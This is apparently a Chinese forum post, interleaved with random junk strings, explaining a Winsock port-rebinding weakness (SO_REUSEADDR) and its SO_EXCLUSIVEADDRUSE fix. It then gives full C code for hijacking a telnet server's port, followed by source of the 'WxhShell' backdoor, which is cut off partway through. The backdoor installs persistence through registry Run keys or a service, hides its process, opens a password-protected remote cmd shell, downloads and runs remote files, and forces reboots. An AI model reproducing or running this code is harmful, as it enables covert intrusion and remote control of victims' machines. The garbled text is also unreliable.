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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {_QXx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DJ;il)^ LcS\#p#s] saddr.sin_family = AF_INET; s*{l}~fPkW Pn|A>.)z saddr.sin_addr.s_addr = htonl(INADDR_ANY); Br.$:g# hN*,]Z{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uu L"o yi*)g0M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cjfYE] n{JBC%^g 这意味着什么?意味着可以进行如下的攻击: 1o\P7PLe asqbLtQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _4F(WC co j\&
` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *4#)or ,.[T]37 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $Kgw6 p`:hY`P 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 b,"gBg {]1o($.u 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZaJg$ mne4u W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h`n,:Y^++P >+y[HTf- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rZ`ob x\S 8A/"ia #include *TQXE:vZ[ #include P6'Oe|+' #include 0o~? ]C #include ;0DTf DWORD WINAPI ClientThread(LPVOID lpParam); 3T^f#UT int main() dPplZ,Y% { .%;`:dtj WORD wVersionRequested; -;1'{v DWORD ret; pEgQ)
9\
WSADATA wsaData; -d]-R?mQ BOOL val;
3D
L7 SOCKADDR_IN saddr; "F?p\I)( SOCKADDR_IN scaddr; B M5+;h ! int err; <$bM*5sHF> SOCKET s; S}6Ty2.\ SOCKET sc; "8}p>gS int caddsize; As0E'n85 HANDLE mt; .CGPG,\2 DWORD tid; G"P@AOw wVersionRequested = MAKEWORD( 2, 2 ); ggQ/_F8u err = WSAStartup( wVersionRequested, &wsaData ); J'c]':U if ( err != 0 ) { u6^cLQO+ printf("error!WSAStartup failed!\n"); jp=z
^l return -1; x"xl3dRu } ?'ID7mL saddr.sin_family = AF_INET; !5I;3EN q5C(/@)^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0Oy.&C T Kn-cwz5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "ee:Z_Sz saddr.sin_port = htons(23); &?N1-?BjM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hG~4i:p
< { d-/{@
printf("error!socket failed!\n"); s2=rj?g&(X return -1; "(bnr0 } ;f,`T val = TRUE; Xc"l')1H //SO_REUSEADDR选项就是可以实现端口重绑定的 3!E*h0$} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZL/iX~}a' { {8+FxmH printf("error!setsockopt failed!\n"); -]yM<dP return -1; 8R?X$=$]!. } FYPv:k //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dr3j<D-Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x(oL\I_Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v2=Iqo }j<:hDQP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @qj4rt" { nE.w ret=GetLastError(); 32h}+fd printf("error!bind failed!\n"); 1;_tu return -1; %N5gQXg } :/YHU3 ~Y listen(s,2); @BQJKPF* while(1) x\(@v { 4 mj\wBp caddsize = sizeof(scaddr); >YG1sMV-J //接受连接请求 0u[Vd:()v( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c;siMWw; if(sc!=INVALID_SOCKET) &b :u~puM { NGQBOV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A|jmp~@K)+ if(mt==NULL) P?|F+RoX$ { hr@c7/L printf("Thread Creat Failed!\n"); )[S~W 35 break; ^`M,ju } 2J?ON|2M } 9*s''= CloseHandle(mt); {jz?LM } O^|:q closesocket(s); ]b5E_/P WSACleanup(); eCejO59F9 return 0; Cj{+DXT } Pw c)u& DWORD WINAPI ClientThread(LPVOID lpParam) GD(gm,,) { F)fCj^zL SOCKET ss = (SOCKET)lpParam; _:dt8+T# SOCKET sc; =QdHji/sB unsigned char buf[4096]; 3=YK" 5J SOCKADDR_IN saddr; q8DSKi long num; %3p~5jhm1 DWORD val; }
@r|o:I DWORD ret; nV`n=x //如果是隐藏端口应用的话,可以在此处加一些判断 *xHj* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =AaTn::e/ saddr.sin_family = AF_INET; 4pU|BL\j saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :+?eF^5 saddr.sin_port = htons(23); m@(8-_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .`w[A { zNTcy1Sthk printf("error!socket failed!\n"); iakqCjV return -1; dU4 h } 9gWR djK: val = 100;
Ltk'` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {B;<R1 { tj ONN(K` ret = GetLastError(); h\qQ%|X return -1; Cu2eMUGt } Y9}5&# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jV W .=FK { 1=U(ZX+u ret = GetLastError(); 5a8[0&hA 2 return -1; ]IF
QD } R\i8O^[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B!PT| { sGBm[lplz printf("error!socket connect failed!\n"); sY|by\-c closesocket(sc); |4E5x9J closesocket(ss); WA'4y\ N return -1; 4k$i:st; } ;dC>$_P? while(1) <H; z4 { b\{34z, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mBAI";L3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 aL)}S%5o? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [nSlkl
num = recv(ss,buf,4096,0); B7'rbc' if(num>0) f{i~hVF send(sc,buf,num,0); NY(z3G else if(num==0) 5Q/&,NP break; !UzMuGj num = recv(sc,buf,4096,0); p*'%<3ml if(num>0) Wi;wu* send(ss,buf,num,0); #\P\(+0K else if(num==0) ]TE(:]o7V break; DJWm7 t } [quT&E closesocket(ss); !
.q,m>?+ closesocket(sc); Q4;%[7LU return 0 ; 9`a1xnL } UrC>n N}|<P[LW iY~.U`b` ========================================================== NA :_yA" /m"#uC!\ 下边附上一个代码,,WXhSHELL ~]w|ULNa3| _ ^2\/@ ========================================================== bUcEQGHcZ= bU3P;a( #include "stdafx.h" ,ORwMZtw{H J2_~iC&;s #include <stdio.h> .
X: #include <string.h> ]J '#KT{ #include <windows.h> T'W@fif #include <winsock2.h> W5)R{w0`GD #include <winsvc.h> vk1E!T9X #include <urlmon.h> B@+&?%ub: /r8'stRzv #pragma comment (lib, "Ws2_32.lib") `d,v #pragma comment (lib, "urlmon.lib") -22]|$f W{El^')F #define MAX_USER 100 // 最大客户端连接数 ^Rpy5/d #define BUF_SOCK 200 // sock buffer q
HU}EEv #define KEY_BUFF 255 // 输入 buffer w=;Jj7}L %&Fsk]T%: #define REBOOT 0 // 重启 }EMds3< #define SHUTDOWN 1 // 关机 R(^2+mV? 7A,lQh #define DEF_PORT 5000 // 监听端口 `SfBT1#5G ;h"St0
#define REG_LEN 16 // 注册表键长度 Hxr)`i46 #define SVC_LEN 80 // NT服务名长度
^ UDNp.6k u4KP;_,m // 从dll定义API #$dEg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !T|q/ri typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X]1Q# $b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }Sx+: N* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sw\O\%^ u3k{s // wxhshell配置信息 W"meH~[Cp struct WSCFG { Gi+ZI{) int ws_port; // 监听端口 W2`/z)[*> char ws_passstr[REG_LEN]; // 口令 yKhN1kY int ws_autoins; // 安装标记, 1=yes 0=no /cXVJ(#j char ws_regname[REG_LEN]; // 注册表键名 {CaTu5\ char ws_svcname[REG_LEN]; // 服务名 ZzO^IZKlC char ws_svcdisp[SVC_LEN]; // 服务显示名 fep8hf B; char ws_svcdesc[SVC_LEN]; // 服务描述信息 fxOa(mt char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RxB9c(s^@ int ws_downexe; // 下载执行标记, 1=yes 0=no j3Yz=bsQ{c char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" $[6] Ly(F) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J$>9UCk7B svWQk9d }; %7wNS 9j8<Fs0M // default Wxhshell configuration q}+Fm?B struct WSCFG wscfg={DEF_PORT, 'V`Hp$r "xuhuanlingzhe", eh6\y79g 1, v1`*}.# "Wxhshell", n85d
g "Wxhshell", JFOXrRR=d "WxhShell Service", |Bhj L, "Wrsky Windows CmdShell Service", <tn6=IV "Please Input Your Password: ", n7p,{KSQ 1, pIhy3@bY " http://www.wrsky.com/wxhshell.exe", ?l/+*/AR; "Wxhshell.exe" W1\F-:4L@ }; Ve9*>6i&-4 \s@7pM=( // 消息定义模块 cYx.<b
JH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @s%!R char *msg_ws_prompt="\n\r? for help\n\r#>"; 9`FPV`/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 5faY{;8 char *msg_ws_ext="\n\rExit."; v*lj>)L char *msg_ws_end="\n\rQuit."; ^V?W'~ char *msg_ws_boot="\n\rReboot..."; U?e.)G char *msg_ws_poff="\n\rShutdown..."; $v\o14v char *msg_ws_down="\n\rSave to "; !?aL_{7J K?]c char *msg_ws_err="\n\rErr!"; $gPR3*0 char *msg_ws_ok="\n\rOK!"; gNaB^IY 8r\;8all char ExeFile[MAX_PATH]; LSlYYyt int nUser = 0; 7H$wpn
Zln HANDLE handles[MAX_USER]; 9k*1_ int OsIsNt; Mrly(*!U"@ sIz*r Gz SERVICE_STATUS serviceStatus; :YUQKy SERVICE_STATUS_HANDLE hServiceStatusHandle; GS qt:<Qs V+>.Gf // 函数声明 pRc<U^Z.h int Install(void); =%ry-n G int Uninstall(void); P+gYLX8 int DownloadFile(char *sURL, SOCKET wsh); N6<G`k, int Boot(int flag); \ sc's7 void HideProc(void); >mCS`D8 int GetOsVer(void); egn9O int Wxhshell(SOCKET wsl); iZ;y( void TalkWithClient(void *cs); m[$pj~<\ int CmdShell(SOCKET sock); %<yH6h*u int StartFromService(void); }HLV'^"k int StartWxhshell(LPSTR lpCmdLine); 1<E:`,Mn? UC*\3:>'n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l}&&f8n VOID WINAPI NTServiceHandler( DWORD fdwControl ); zcCGREe= oeA}b-Ct0 // 数据结构和表定义 Jf3xK"in SERVICE_TABLE_ENTRY DispatchTable[] = i"GCm` { A[8vD</}_ {wscfg.ws_svcname, NTServiceMain}, ykBq?Vr {NULL, NULL} lEr_4!h$rZ }; vcz?;lg 3v,Bg4[i // 自我安装 K0-AP
$ int Install(void) )o N#%%SB< { 0`~#H1TK char svExeFile[MAX_PATH]; 0~=>:^H'`q HKEY key; JL:\\JT. strcpy(svExeFile,ExeFile); ,k+F8{Q. ?:c:D5N // 如果是win9x系统,修改注册表设为自启动 BW5! @D2 if(!OsIsNt) { ~Blsj9a2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9`|~-b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o?((FW5.; RegCloseKey(key); <:!;79T\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kx6-8j3gD7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /;V:<mekf RegCloseKey(key); b6ui&Y8z return 0; ,4Qct=%L_ } .:A&5Y- } PsOu:`=r } h%+6y else { O]-s(8Oo3 x!;;;iS // 如果是NT以上系统,安装为系统服务 $Y=xu2u) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5"^Z7+6 if (schSCManager!=0) z8*{i]j { 4u+4LB* SC_HANDLE schService = CreateService D\ kd6 ( E0_S+`o2y schSCManager, i564<1`x wscfg.ws_svcname, h:~
8WV| wscfg.ws_svcdisp, Q/y"W,H# SERVICE_ALL_ACCESS, ]v|n'D-? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V4tObZP3Ff SERVICE_AUTO_START, AB[# SERVICE_ERROR_NORMAL, ^7-l<R[T svExeFile, @*"H{xo.U NULL, "Wn8}T* NULL, )I(2t 6i NULL, &p83X NULL, #:M <<gk NULL D?`|`Mu ); !6pE0(V^+4 if (schService!=0) L`n Ma { bY!1t}ALh CloseServiceHandle(schService); L)-1( e<x CloseServiceHandle(schSCManager); TV[@!E a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H?$gHZPI strcat(svExeFile,wscfg.ws_svcname); (GB*+@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :7 OhplI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rt3/dw(p RegCloseKey(key); #J|DW C!#d return 0; u3])_oj= } ~=i<O&nai } jPA^SxM CloseServiceHandle(schSCManager); U^Ulj/%6 } `2PvE4]%p } M#o'h c o@W:PmKW return 1; T.GB* } AH'4k(- fUa[3)I // 自我卸载 b5t:">wC int Uninstall(void) )L/o|%r! { o~tL;(sz HKEY key; >Q% FW ^Y?Y5`!Q if(!OsIsNt) { ,; k`N`#' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /^Ng7Mi! RegDeleteValue(key,wscfg.ws_regname); ![3l
K RegCloseKey(key);
%mr6p}E| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 84jA) RegDeleteValue(key,wscfg.ws_regname); .u\xA7X RegCloseKey(key); Q@5v> ` return 0; /& wA$h } /@feY?glc } &)GlLpaT } P)rz%,VF+ else { _t.Ub: M~LYq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JLu>w:\ if (schSCManager!=0) =L9;8THY { Wj"GS!5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wLOS,= if (schService!=0) 09sdt;V Q { W'}^m*F if(DeleteService(schService)!=0) { E-"b":@: CloseServiceHandle(schService); ~?<VT
k CloseServiceHandle(schSCManager); ^gdv:[m return 0; 7?a!x$-U( } E)]RQ~jY? CloseServiceHandle(schService); >@uF ye$ } vR?E'K3 CloseServiceHandle(schSCManager); FC
}r~syqA } (ioJ G-2u } _ m<@ou7 q^^&nz<A return 1; `VD7VX,rp* } l$DQkbOj 2'5u}G9 // 从指定url下载文件 W $E Ao+V int DownloadFile(char *sURL, SOCKET wsh) JsV-:J { Mv7=ZAm HRESULT hr; W}rL HAaDh char seps[]= "/"; {mmQv~|5q char *token; NK$BF(HBi char *file; =At)?A9[ char myURL[MAX_PATH]; \oy8)o/Gb char myFILE[MAX_PATH]; l$J2|\M6 9f_Qs4 strcpy(myURL,sURL); qJYEsI2M token=strtok(myURL,seps); `z~L0h while(token!=NULL) 8;Eg>_cL: { b2G1@f.U file=token; y.+!+4Mg| token=strtok(NULL,seps); Tv /?-`Y } 8Q\ T,C K\y
W{y1 GetCurrentDirectory(MAX_PATH,myFILE); DE!P[$J strcat(myFILE, "\\"); |eEXCn3{ strcat(myFILE, file); f/3rcYR;y send(wsh,myFILE,strlen(myFILE),0); +puF0]TR,i send(wsh,"...",3,0); `&5_~4T7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <-O^ol,fX if(hr==S_OK) eg(1kDMpn return 0; <jIuVX else {^_K
return 1; A? T25<} v/~Lf i } FN"Ye*d #Z1
<lAy // 系统电源模块 *rv7#!]. int Boot(int flag) MoMxKmI { WI\jm&H r HANDLE hToken; _8&a%?R@W TOKEN_PRIVILEGES tkp; iNv"!'| f/UIpswrZ' if(OsIsNt) { F@rx/3
[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $J!WuOz4^i LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @nxpcHj tkp.PrivilegeCount = 1; )POU58$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uo=_=.GQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /nz J`d if(flag==REBOOT) { )UN_,'H/V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *r].EBJ\ return 0; :?f^D,w_B } `IH*~d] else { ~__rI-/_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ).8NZ
Aj return 0; !(#d7R } NXSjN~aG2 }
( =t41-l else { MD>xRs if(flag==REBOOT) { 'l6SL-
< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z\c$$+t return 0; VJOB+CKE } Y20T$5{# else { }-T
: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CC|=$(PgT return 0; IZOO>-g'f } HL~DIC% } eoxEnCU 0i~?^sT' return 1; dr^MW?{a\ } y!/:1BHlm yyc4'j+ // win9x进程隐藏模块 dlCmSCp% void HideProc(void) `{ ` W-C { ^\7GFpc Mc/=
Fs HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2|$G<f if ( hKernel != NULL ) zCI.^^<? { L-VisZ-FK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V* H7m'za ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UYvdzCUh FreeLibrary(hKernel); O1Nya\^g<I } tqzr+ Q(/F7"m return; @|d+T"f } &{ZTtK&JF sjG@4Or // 获取操作系统版本 L^e%oQ>s int GetOsVer(void) &FY7
D<
{ u$ff %`E OSVERSIONINFO winfo; ,Y`TP4Ip winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w 3$9 GetVersionEx(&winfo); J8?V1Ad{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jq(QL%)_O return 1; wPl9% else Tno 0Q
+ return 0; B~47mw&b } A+ LX37B h]DzX8r} // 客户端句柄模块 -~ H?R int Wxhshell(SOCKET wsl) {C5-M! D{< { =PYS5\k SOCKET wsh; CSlPrx2\ struct sockaddr_in client; |Pq z0n=v DWORD myID; ]:svR@E O7z5,- while(nUser<MAX_USER) {9XQ~t"m^ { H&uh$y@ int nSize=sizeof(client); f J+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (x140_TH~ if(wsh==INVALID_SOCKET) return 1; T0"q,lrdxV %OJq( } handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MQq!<?/ if(handles[nUser]==0) 2 sK\.yS closesocket(wsh); <8BNqbX else %:yVjb,Yf nUser++; Vu;z|L } gfQ1p ? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X{8g2](z. Pa-{bhllu) return 0; jO}<W 1qy } A 1B_EX. !xE@r,'oN // 关闭 socket `c? 8i void CloseIt(SOCKET wsh) 5Yr$tl\k { bFsJqA.A closesocket(wsh); }xpo@(e nUser--; Ti$_V_ ExitThread(0); XvI Y=~ } <`d;>r=4z ?JMy // 客户端请求句柄 %a|m[6+O void TalkWithClient(void *cs) i Ie{L-Na { "z4V@gk 'wVi>{? SOCKET wsh=(SOCKET)cs; t)hi j&wzu char pwd[SVC_LEN]; wVkRrFJ char cmd[KEY_BUFF]; \?"p]&2UcB char chr[1]; qKk|2ecTB5 int i,j; + I4s0 "=!sZO?3 while (nUser < MAX_USER) { b=XHE1^rM f{)n xd
># if(wscfg.ws_passstr) { YcN &\( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f}cCnJK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y=LN|vkQ //ZeroMemory(pwd,KEY_BUFF); B~2M/&rM\ i=0; f7I!o,/ while(i<SVC_LEN) { -;iCe7|Twf s=hao4v7z // 设置超时 qqSFy>`P fd_set FdRead; ahg]OWn# struct timeval TimeOut; xM**n3SZ` FD_ZERO(&FdRead); gmN$}Gy} FD_SET(wsh,&FdRead); t>h:s3c TimeOut.tv_sec=8; o_n 3.O= TimeOut.tv_usec=0; dWiX_&g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9](RZ6A+o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d$:LUxM# 3o`c`;H%p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4P^CqD&i pwd =chr[0]; zo:NE00 if(chr[0]==0xd || chr[0]==0xa) { o<Qt<* pwd=0; J*t_r-z break; mZ~f?{ } sE! $3|Q i++; HM &"2c } T9bUt | c+501's // 如果是非法用户,关闭 socket i!yE#zew if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G$VE
o8Blb } 8dwKJ3*. IGF25-7B send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f0+vk'Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lmw4 _
qU-@Y$ while(1) { <KFl4A~ E<\\/Q%w ZeroMemory(cmd,KEY_BUFF); 6@FGt3y I-m Bj8^; // 自动支持客户端 telnet标准 </D )i j=0; 6UM1>xq9A while(j<KEY_BUFF) { /i(R~7;? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ##nC@h@ cmd[j]=chr[0]; yaYJmhG if(chr[0]==0xa || chr[0]==0xd) { xc,Wm/[ cmd[j]=0; J$i.^|hE/ break; GezMqt;2 } Fb6d1I^wR j++; ;e$YM;;d } Yb4%W-5 vr }-u // 下载文件 j[Gg[7q{y if(strstr(cmd,"http://")) { | z?c>. send(wsh,msg_ws_down,strlen(msg_ws_down),0); fT{%zJU if(DownloadFile(cmd,wsh)) a(lmm@;V< send(wsh,msg_ws_err,strlen(msg_ws_err),0); X=V2^zrt else 8=OpX,t( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rUZ09>nDy } +h8`8k'}-2 else { !Y10UmMu ]Rj?OSok switch(cmd[0]) { \k5
sdHmI[ h}Lrp r2r // 帮助 GK1oS case '?': { 395`Wkv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }#6~/
W break; i':a|#e> } Mb-AzGsV // 安装 v(zfq'^%` case 'i': { ATjE8!gO! if(Install()) bWJ&SR> send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$o
A~ else tgY/8&$M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
{RI)I break; .mplML0oW } u{S"NEc // 卸载 8khIy-9-' case 'r': { -PTfsQk if(Uninstall()) }^2'@y!( send(wsh,msg_ws_err,strlen(msg_ws_err),0); onl,R{,`0 else (U@$gkUx}G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4+MaV<!tU^ break; b8!
} +v<
\l= // 显示 wxhshell 所在路径 Z=oGyA case 'p': { vbfQy2q char svExeFile[MAX_PATH]; Z1{>"o:@ strcpy(svExeFile,"\n\r"); o{3>n"\w3 strcat(svExeFile,ExeFile); 0wt4C% .0 send(wsh,svExeFile,strlen(svExeFile),0); ~-#Jcw$+n= break; 9-!G Ya'Z } ZE9.r` // 重启 yB|1?L# case 'b': { #3?}MC send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); biENRJQ. if(Boot(REBOOT)) klnk{R.>| send(wsh,msg_ws_err,strlen(msg_ws_err),0); S|F:[(WaM else { ^Hz1z_[X@ closesocket(wsh); /7x1Z*Hg ExitThread(0); Re*_Dt=r } `><E J'h break; }s[`T } <6+T&Ov6 // 关机 7"1]5\p^g case 'd': { $g),|[x+( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `pF7B6[B if(Boot(SHUTDOWN)) &Bqu2^^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); hii#kB2 else { C7K]c4T closesocket(wsh); ""*g\ ExitThread(0); ,c&gw tdl } ^I)+u>fJ break; ^0-e.@ } {W HK|l // 获取shell dWdD^>8Ef case 's': { r1 b"ta CmdShell(wsh); 6[?5hmc"w closesocket(wsh); :6]qr 86 ExitThread(0); Hp@Q break; u<4bOJn({ } T3I{D@+0 // 退出 BN~ndWRK case 'x': { RFX{]bQp9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !(gSXe)* CloseIt(wsh); [s{[
.0P]+ break; 'V&Tlw| } /fdrf // 离开 zO@>)@~ case 'q': { ,T$ GOjt send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3R-5&!i closesocket(wsh); M6GiohI_"P WSACleanup(); Hg$7[um exit(1); ).AMfBQ=; break; "Q{l])N } BWNI|pq)v } SM8_C!h: } >GLoeCRNu cICfV,j // 提示信息 <@Vf:`a!P> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;#9ioGx } %>5>wP } _?bO
/y_y Ubgn^+AI return; 7D1$cmtH } IR#BSfBZ c=zSq%e
// shell模块句柄 !qU1RdZ int CmdShell(SOCKET sock) N9*:]a { (4Nj3x
o STARTUPINFO si; {e q378d ZeroMemory(&si,sizeof(si)); 9M5W4& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R_\o`v5 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H \'1.8g/ PROCESS_INFORMATION ProcessInfo; ZCViZWo char cmdline[]="cmd"; 64]8ykRD- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DEbMb6)U return 0; jOzi89 } ^bP`Iv y#th&YC_b // 自身启动模式 1z4_QZZ.NG int StartFromService(void) -y{(h%6 { 'GT^araz typedef struct '#=0q { %V+"i_{m DWORD ExitStatus; :H wdXhA6 DWORD PebBaseAddress; EB*C;ms DWORD AffinityMask; &AWrM{e DWORD BasePriority; *")*w> R ULONG UniqueProcessId; A=IpP}7J ULONG InheritedFromUniqueProcessId; esj6=Gh } PROCESS_BASIC_INFORMATION; lcy<taNu) j9l32<h7] PROCNTQSIP NtQueryInformationProcess; 3
^K#\*P Ga-cto1Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /'5d0' ,M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kD?@nx> P|Gwt& HANDLE hProcess; &GkD5b PROCESS_BASIC_INFORMATION pbi; 4 Yv:\c l1KgPRmEP HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j>B* 8*Ss if(NULL == hInst ) return 0; 0{vH .b
